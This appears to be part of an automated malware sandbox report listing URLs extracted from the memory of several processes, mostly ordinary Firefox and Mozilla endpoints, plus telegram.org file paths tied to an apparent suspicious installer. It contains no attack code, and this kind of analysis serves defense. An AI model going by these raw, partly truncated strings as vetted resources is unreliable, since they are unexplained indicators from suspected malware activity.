Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgresource://services-settings/Utils.sys.mjs
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3683368813.000001FC2FE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FBE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-j
Source: firefox.exe, 00000026.00000002.3462309093.000001FC2BCCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000026.00000002.3692875527.000001FC30913000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpInternalTestingProfi
Source: firefox.exe, 00000026.00000002.3694217961.000001FC30AA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000026.00000002.3692875527.000001FC309E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsresource://devtools/client/
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org
Source: configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/
Source: configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/:
Source: configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/LocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedThu
Source: configuredInstallerEXE.exe, 00000008.00000003.2911913096.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912923880.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/Ni2))
Source: configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/V
Source: configuredInstallerEXE.exe, 00000008.00000003.2881993442.00000272A101B000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881735285.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/file/400780400331/1/tuLhKJmWKdw.276665/463e789d166b4e3890
Source: configuredInstallerEXE.exe, 00000008.00000003.2881735285.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/file/400780400875/2/7jMIWHhNK14.271741/26556506cae1a02907
Source: configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/r
Source: configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org:443/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000026.00000002.3353920953.000001FC29EFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263995813.000001FC2DE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3677857955.000001FC2EDE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://646a4d4e-1c34-4cd3-8ff4-db6708ff3
Source: firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/02C
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/K
Source: configuredInstallerEXE.exe, 00000008.00000003.2911605529.00000272A10B7000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A10B8000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A10B8000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/LocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedExpiresContent-Ra
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263995813.000001FC2DE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/media.gmp-manager.cert.checkAttributesFailed
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263995813.000001FC2DE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3677857955.000001FC2EDE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com:443/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000026.00000002.3353920953.000001FC29E13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353920953.000001FC29EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703774134.00003EDD59E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
